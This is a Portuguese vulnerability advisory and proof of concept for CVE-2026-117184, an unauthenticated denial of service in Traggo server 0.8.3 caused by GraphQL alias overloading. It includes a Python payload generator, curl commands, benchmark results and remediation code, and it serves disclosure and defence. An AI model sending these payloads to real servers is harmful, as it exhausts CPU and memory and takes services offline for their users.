
Prova de conceito e análise técnica da CVE-2026-117184, uma negação de serviço não autenticada por sobrecarga de alias em GraphQL no Traggo 0.8.3, com gerador de payload e orientações de correção.
O servidor Traggo v0.8.3 é vulnerável a uma Negação de Serviço Não Autenticada (DoS). O endpoint GraphQL aceita um número ilimitado de campos com alias e não possui limite de tamanho do corpo da requisição. Como o campo version não possui a diretiva @hasRole, isso pode ser acionado sem autenticação.
Um documento elaborado com muitos aliases (por exemplo, {v0:version{name} v1:version{name} ...}) força o servidor a gastar muito tempo resolvendo campos e a alocar memória excessiva. Uma única requisição com 100.000 aliases (um payload de 2,0 MB) mantém um núcleo de CPU ocupado por mais de 100 segundos e consome quase 1 GB de RAM. Requisições paralelas podem facilmente levar o processo ao território de OOM (Out of Memory).
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-117184 |
| Registro Oficial | cve.org/CVERecord?id=CVE-2026-117184 |
| Versão Afetada | Traggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Tipo de Vulnerabilidade | CWE-400: Consumo Descontrolado de Recursos (DoS) |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Nenhum (Não Autenticado) |
| Componente Afetado | Endpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Relatório Original | traggo/server#253 |
| Caminho do Arquivo | Descrição |
|---|---|
graphql/handler.go | Configuração do handler sem limite de complexidade e sem limite de tamanho do corpo. |
schema.graphql | O campo version não possui diretiva de autenticação. |
auth/hasrole.go | Implementação da diretiva (ignorada para version). |
graphql/resolver.go | O resolver de version é chamado para cada alias. |
logger/gql.go | A consulta bruta é registrada em erros, amplificando o impacto do tamanho do corpo. |
graphql/handler.go:13-27 — handler.ComplexityLimit(...) nunca é passado. O corpo da requisição vai diretamente para gqlHandler.ServeHTTP sem http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version não autenticadoschema.graphql:62 — Enquanto os outros campos possuem @hasRole(role: USER), o campo version não possui, tornando-o acessível sem um cabeçalho Authorization.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Cada alias no conjunto de seleção invoca o resolver separadamente, multiplicando o uso de CPU e memória.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
O gqlgen v0.17.85 só habilita o limite de complexidade quando a aplicação o define explicitamente (handler/handler.go:59-67). Como o Traggo não o faz, cfg.complexityLimit é 0 e nenhuma extensão é adicionada.
logger/gql.go:27-36 — Mesmo que a consulta falhe, a consulta bruta é registrada no log. Um payload de 20 MB gera uma entrada de log de 20 MB por requisição.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Testado na v0.8.3, compilado a partir do código-fonte com go build (Go 1.24.4, SQLite, 4 núcleos, 7,7 GB de RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(O arquivo de 100k tem 2.088.904 bytes).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Aliases | Tamanho da Requisição | Tempo | Notas |
|---|---|---|---|
| 5.000 | 99 KB | 0,15 s | |
| 20.000 | 409 KB | 2,37 s | |
| 50.000 | 1,0 MB | 24,47 s | 100% de um núcleo |
| 100.000 | 2,0 MB | 102,56 s | RSS 962 MB |
Três requisições de 50 mil em paralelo mostraram 291-299% de CPU em uma máquina de 4 núcleos. O servidor não trava imediatamente, mas consultas pequenas permanecem responsivas (cerca de 1 ms) enquanto as grandes são executadas. O problema principal é a fixação de CPU e um possível OOM.
Aplique os limites em graphql/handler.go:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Nota: Com ComplexityLimit(1000), a consulta de alias de 50k falha em 0,17s com um erro: operation has complexity 100000, which exceeds the limit of 1000.
versionSe version não precisa ser público, adicione @hasRole(role: USER) ao schema.graphql:
version: Version! @hasRole(role: USER)
| Componente | Versão |
|---|---|
| Traggo Server | v0.8.3 (commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Banco de dados | SQLite |
| SO | Linux (4 núcleos, 7,7 GB de RAM) |
| Data | Evento |
|---|---|
| 2026-10-22 | Issue #253 reportada ao repositório do servidor Traggo |
| 2026-10-30 | Registro oficial de CVE publicado em cve.org |
| — | Aguardando resposta do mantenedor sobre a correção |